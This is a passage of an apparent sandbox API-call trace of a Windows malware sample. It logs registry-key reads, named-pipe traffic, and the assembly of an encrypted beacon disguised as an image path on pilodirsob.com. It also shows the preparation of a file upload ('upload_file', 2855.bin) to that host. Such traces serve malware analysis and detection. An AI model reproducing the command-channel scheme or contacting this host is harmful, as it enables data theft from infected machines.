lpType=0x317f78c*=0x3, lpData=0x0, lpcbData=0x317f7a8*=0x2c) returned 0x0 [0202.126] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2c) returned 0x278ede8 [0202.126] RegQueryValueExA (in: hKey=0x72c, lpValueName="Client", lpReserved=0x0, lpType=0x317f78c, lpData=0x278ede8, lpcbData=0x317f7a8*=0x2c | out: lpType=0x317f78c*=0x3, lpData=0x278ede8*, lpcbData=0x317f7a8*=0x2c) returned 0x0 [0202.126] RegCloseKey (hKey=0x72c) returned 0x0 [0202.126] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ede8 | out: hHeap=0x2390000) returned 1 [0202.126] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x317f774 | out: phkResult=0x317f774*=0x0) returned 0x2 [0202.126] WaitForMultipleObjects (nCount=0x5, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0202.127] RegNotifyChangeKeyValue (hKey=0x724, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x554, fAsynchronous=1) returned 0x0 [0202.127] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x317f7a8 | out: phkResult=0x317f7a8*=0x72c) returned 0x0 [0202.127] RegQueryValueExA (in: hKey=0x72c, lpValueName="Client", lpReserved=0x0, lpType=0x317f7a0, lpData=0x4c8880, lpcbData=0x317f7ac*=0x2c | out: lpType=0x317f7a0*=0x3, lpData=0x4c8880*, lpcbData=0x317f7ac*=0x2c) returned 0x0 [0202.127] RegCloseKey (hKey=0x72c) returned 0x0 [0202.127] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x317f790 | out: phkResult=0x317f790*=0x72c) returned 0x0 [0202.127] RegQueryValueExA (in: hKey=0x72c, lpValueName="Client", lpReserved=0x0, lpType=0x317f78c, lpData=0x0, lpcbData=0x317f7a8*=0x769f2151 | out: lpType=0x317f78c*=0x3, lpData=0x0, lpcbData=0x317f7a8*=0x2c) returned 0x0 [0202.127] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2c) returned 0x278ede8 [0202.127] RegQueryValueExA (in: hKey=0x72c, lpValueName="Client", lpReserved=0x0, lpType=0x317f78c, lpData=0x278ede8, lpcbData=0x317f7a8*=0x2c | out: lpType=0x317f78c*=0x3, lpData=0x278ede8*, lpcbData=0x317f7a8*=0x2c) returned 0x0 [0202.127] RegCloseKey (hKey=0x72c) returned 0x0 [0202.127] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ede8 | out: hHeap=0x2390000) returned 1 [0202.127] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x317f774 | out: phkResult=0x317f774*=0x0) returned 0x2 [0202.127] WaitForMultipleObjects (nCount=0x5, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0204.260] RegNotifyChangeKeyValue (hKey=0x724, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x554, fAsynchronous=1) returned 0x0 [0204.260] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x317f7a8 | out: phkResult=0x317f7a8*=0x72c) returned 0x0 [0204.260] RegQueryValueExA (in: hKey=0x72c, lpValueName="Client", lpReserved=0x0, lpType=0x317f7a0, lpData=0x4c8880, lpcbData=0x317f7ac*=0x2c | out: lpType=0x317f7a0*=0x3, lpData=0x4c8880*, lpcbData=0x317f7ac*=0x2c) returned 0x0 [0204.260] RegCloseKey (hKey=0x72c) returned 0x0 [0204.260] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x317f790 | out: phkResult=0x317f790*=0x72c) returned 0x0 [0204.260] RegQueryValueExA (in: hKey=0x72c, lpValueName="Client", lpReserved=0x0, lpType=0x317f78c, lpData=0x0, lpcbData=0x317f7a8*=0x769f2151 | out: lpType=0x317f78c*=0x3, lpData=0x0, lpcbData=0x317f7a8*=0x2c) returned 0x0 [0204.260] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2c) returned 0x278ede8 [0204.260] RegQueryValueExA (in: hKey=0x72c, lpValueName="Client", lpReserved=0x0, lpType=0x317f78c, lpData=0x278ede8, lpcbData=0x317f7a8*=0x2c | out: lpType=0x317f78c*=0x3, lpData=0x278ede8*, lpcbData=0x317f7a8*=0x2c) returned 0x0 [0204.260] RegCloseKey (hKey=0x72c) returned 0x0 [0204.260] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ede8 | out: hHeap=0x2390000) returned 1 [0204.260] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x317f774 | out: phkResult=0x317f774*=0x0) returned 0x2 [0204.260] WaitForMultipleObjects (nCount=0x5, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x3 [0401.542] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0401.542] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0401.542] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x102 [0401.542] WaitForSingleObject (hHandle=0x6d8, dwMilliseconds=0x0) returned 0x102 [0401.542] WaitForMultipleObjects (nCount=0x5, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x4 [0405.546] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0405.546] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0405.546] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x0 [0405.546] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x0 [0405.546] SetWaitableTimer (hTimer=0x22c, lpDueTime=0x317f808, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0405.546] SwitchToThread () returned 0 [0405.546] ReleaseMutex (hMutex=0x230) returned 1 [0405.546] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0405.547] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x27889f8, nInBufferSize=0xc, lpOutBuffer=0x317f784, nOutBufferSize=0xc, lpBytesRead=0x317f790, nTimeOut=0x1 | out: lpOutBuffer=0x317f784, lpBytesRead=0x317f790) returned 1 [0405.548] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0405.549] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0x2710) returned 0x102 [0415.560] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Sfi", phkResult=0x317f77c | out: phkResult=0x317f77c*=0x328) returned 0x0 [0415.560] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x105) returned 0x278f470 [0415.561] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x105) returned 0x278f580 [0415.561] RegEnumValueA (in: hKey=0x328, dwIndex=0x0, lpValueName=0x278f470, lpcchValueName=0x317f788, lpReserved=0x0, lpType=0x317f778, lpData=0x278f580, lpcbData=0x317f794 | out: lpValueName="AECAA210A7EA5C4A0F", lpcchValueName=0x317f788, lpType=0x317f778, lpData=0x278f580, lpcbData=0x317f794) returned 0x0 [0415.561] CreateFileA (lpFileName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" (normalized: "\\device\\namedpipe\\{5797b6e3-ca4c-a155-8c7b-9e6580dfb269}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x40000000, hTemplateFile=0x0) returned 0x6f0 [0415.561] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 45 [0415.561] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b0 [0415.561] WriteFile (in: hFile=0x6f0, lpBuffer=0x317f650*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x317f63c, lpOverlapped=0x317f614 | out: lpBuffer=0x317f650*, lpNumberOfBytesWritten=0x317f63c*=0xc, lpOverlapped=0x317f614) returned 1 [0415.562] CloseHandle (hObject=0x5b0) returned 1 [0415.562] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b0 [0415.562] WriteFile (in: hFile=0x6f0, lpBuffer=0x278f580*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x317f63c, lpOverlapped=0x317f614 | out: lpBuffer=0x278f580*, lpNumberOfBytesWritten=0x317f63c*=0x5c, lpOverlapped=0x317f614) returned 1 [0415.578] CloseHandle (hObject=0x5b0) returned 1 [0415.578] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b0 [0415.578] ReadFile (in: hFile=0x6f0, lpBuffer=0x317f64c, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x317f638, lpOverlapped=0x317f610 | out: lpBuffer=0x317f64c*, lpNumberOfBytesRead=0x317f638*=0xc, lpOverlapped=0x317f610) returned 1 [0415.578] CloseHandle (hObject=0x5b0) returned 1 [0415.578] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b0 [0415.578] ReadFile (in: hFile=0x6f0, lpBuffer=0x317f688, nNumberOfBytesToRead=0x98, lpNumberOfBytesRead=0x317f634, lpOverlapped=0x317f60c | out: lpBuffer=0x317f688*, lpNumberOfBytesRead=0x317f634*=0x98, lpOverlapped=0x317f60c) returned 1 [0415.578] CloseHandle (hObject=0x5b0) returned 1 [0415.578] OpenFileMappingA (dwDesiredAccess=0x80000000, bInheritHandle=0, lpName="Local\\{510697B8-7C8B-AB70-0E15-700F2219A4B3}") returned 0x5b0 [0415.578] CloseHandle (hObject=0x6f0) returned 1 [0415.579] MapViewOfFile (hFileMappingObject=0x5b0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa3) returned 0xa40000 [0415.580] lstrlenA (lpString="AECAA210A7EA5C4A0F") returned 18 [0415.580] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned 45 [0415.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x2e) returned 0x278ede8 [0415.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", cchWideChar=45, lpMultiByteStr=0x278ede8, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", lpUsedDefaultChar=0x0) returned 45 [0415.580] PathFindFileNameA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin") returned="2855.bin" [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x800) returned 0x278f690 [0415.580] wsprintfA (in: param_1=0x278f690, param_2="version=%u&soft=1&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&guid=%08x%08x%08x%08x" | out: param_1="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 137 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x11) returned 0x278f2f0 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x800) returned 0x278d658 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x13) returned 0x278f310 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x5) returned 0x27889f8 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x6) returned 0x278f330 [0415.580] lstrlenA (lpString="%s=%s&") returned 6 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x10) returned 0x278f340 [0415.580] sprintf (in: _Dest=0x278f340, _Format="%s=%s&" | out: _Dest="ceqdn=dljj&") returned 11 [0415.580] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f330 | out: hHeap=0x2390000) returned 1 [0415.580] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0415.580] lstrlenA (lpString="ceqdn=dljj&") returned 11 [0415.580] lstrlenA (lpString="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 137 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x95) returned 0x278fe98 [0415.580] strcpy (in: _Dest=0x278fe98, _Source="ceqdn=dljj&" | out: _Dest="ceqdn=dljj&") returned="ceqdn=dljj&" [0415.580] lstrcatA (in: lpString1="ceqdn=dljj&", lpString2="version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f" | out: lpString1="ceqdn=dljj&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned="ceqdn=dljj&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f" [0415.580] lstrlenA (lpString="ceqdn=dljj&version=300054&soft=1&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&type=15&name=2855.bin&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 148 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xa0) returned 0x278ff38 [0415.580] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xa0) returned 0x278de60 [0415.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ff38 | out: hHeap=0x2390000) returned 1 [0415.581] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x140) returned 0x278df08 [0415.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278de60 | out: hHeap=0x2390000) returned 1 [0415.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278fe98 | out: hHeap=0x2390000) returned 1 [0415.581] StrTrimA (in: psz="FDqtJFjzhKMo0poCP1rWlB9yzfzC9MLfXrVtkvtM1KRACfp/REOHnbbVAGiNGrYJFL1rfJ1myGWyIUQThK7qOxBwesbP+nsoPE0QHPxveJo5rlhISU6nZqdz2b8pbMfF6UvM9pL3MJrThvhPESwU6pxyqgRW1yfVNsWUiWFMq681DDK240f0q9y+dsib48pFWZGi9Jrpw14ly3VGBeSDIu==\n\r", pszTrimChars="\r\n=" | out: psz="FDqtJFjzhKMo0poCP1rWlB9yzfzC9MLfXrVtkvtM1KRACfp/REOHnbbVAGiNGrYJFL1rfJ1myGWyIUQThK7qOxBwesbP+nsoPE0QHPxveJo5rlhISU6nZqdz2b8pbMfF6UvM9pL3MJrThvhPESwU6pxyqgRW1yfVNsWUiWFMq681DDK240f0q9y+dsib48pFWZGi9Jrpw14ly3VGBeSDIu") returned 1 [0415.581] lstrlenA (lpString="FDqtJFjzhKMo0poCP1rWlB9yzfzC9MLfXrVtkvtM1KRACfp/REOHnbbVAGiNGrYJFL1rfJ1myGWyIUQThK7qOxBwesbP+nsoPE0QHPxveJo5rlhISU6nZqdz2b8pbMfF6UvM9pL3MJrThvhPESwU6pxyqgRW1yfVNsWUiWFMq681DDK240f0q9y+dsib48pFWZGi9Jrpw14ly3VGBeSDIu") returned 214 [0415.581] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x283) returned 0x278e050 [0415.581] _snprintf (in: _Dest=0x278e07f, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0415.581] _snprintf (in: _Dest=0x278e0ae, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0415.581] _snprintf (in: _Dest=0x278e10b, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0415.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278df08 | out: hHeap=0x2390000) returned 1 [0415.581] lstrlenA (lpString="FDqtJFjzhKMo0poCP1rWlB9yzfzC9MLfXrVtkvtM1KRACfp_2FREOHnbbVAGiNGrYJFL1rfJ1myGWyIUQThK7qOxBwesbP_2BnsoPE0QHPxveJo5rlhISU6nZqdz2b8pbMfF6UvM9pL3MJrThvhPESwU6pxyqgRW1yfVNsWUiWFMq681DDK240f0q9y_2Bdsib48pFWZGi9Jrpw14ly3VGBeSDIu") returned 220 [0415.581] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xf8) returned 0x278fe98 [0415.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e050 | out: hHeap=0x2390000) returned 1 [0415.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f340 | out: hHeap=0x2390000) returned 1 [0415.581] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f310 | out: hHeap=0x2390000) returned 1 [0415.581] StrTrimA (in: psz="FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu", pszTrimChars="\r\n" | out: psz="FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu") returned 0 [0415.581] lstrlenA (lpString="/images/") returned 8 [0415.581] lstrlenA (lpString="FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu") returned 234 [0415.581] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xf3) returned 0x278de60 [0415.581] lstrcpyA (in: lpString1=0x278de60, lpString2="/images/" | out: lpString1="/images/") returned="/images/" [0415.581] lstrcatA (in: lpString1="/images/", lpString2="FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu" | out: lpString1="/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu") returned="/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu" [0415.581] lstrcpyA (in: lpString1=0x278fe98, lpString2=".bmp" | out: lpString1=".bmp") returned=".bmp" [0415.581] lstrcpyA (in: lpString1=0x278d658, lpString2="pilodirsob.com" | out: lpString1="pilodirsob.com") returned="pilodirsob.com" [0415.582] lstrcatA (in: lpString1="pilodirsob.com", lpString2="/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu" | out: lpString1="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu") returned="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu" [0415.582] lstrcatA (in: lpString1="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu", lpString2=".bmp" | out: lpString1="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp") returned="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp" [0415.582] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x13) returned 0x278ff98 [0415.582] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xb0) returned 0x278df60 [0415.582] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xb0) returned 0x278e018 [0415.582] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278df60 | out: hHeap=0x2390000) returned 1 [0415.582] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ff98 | out: hHeap=0x2390000) returned 1 [0415.582] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ee20 [0415.582] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6f0 [0415.582] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x728 [0415.582] wsprintfA (in: param_1=0x317f4c4, param_2="Content-Disposition: form-data; name=\"upload_file\"; filename=\"%s\"" | out: param_1="Content-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"") returned 71 [0415.582] lstrlenA (lpString="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp") returned 260 [0415.582] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x106) returned 0x278e0d0 [0415.582] lstrcpyA (in: lpString1=0x278e0d0, lpString2="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp" | out: lpString1="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp") returned="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp" [0415.582] StrChrA (lpStart="pilodirsob.com/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp", wMatch=0x2f) returned="/images/FDqtJFjzhKMo0poCP1/rWlB9yzfz/C9MLfXrVtkvtM1KRACfp/_2FREOHnbbVAGiNGrYJ/FL1rfJ1myGWyIUQThK7qOx/BwesbP_2BnsoP/E0QHPxve/Jo5rlhISU6nZqdz2b8pbMfF/6UvM9pL3MJ/rThvhPESwU6pxyqgR/W1yfVNsWUiWF/Mq681DDK240/f0q9y_2Bdsib48/pFWZGi9Jrpw14ly3VGBeS/DIu.bmp" [0415.582] StrChrA 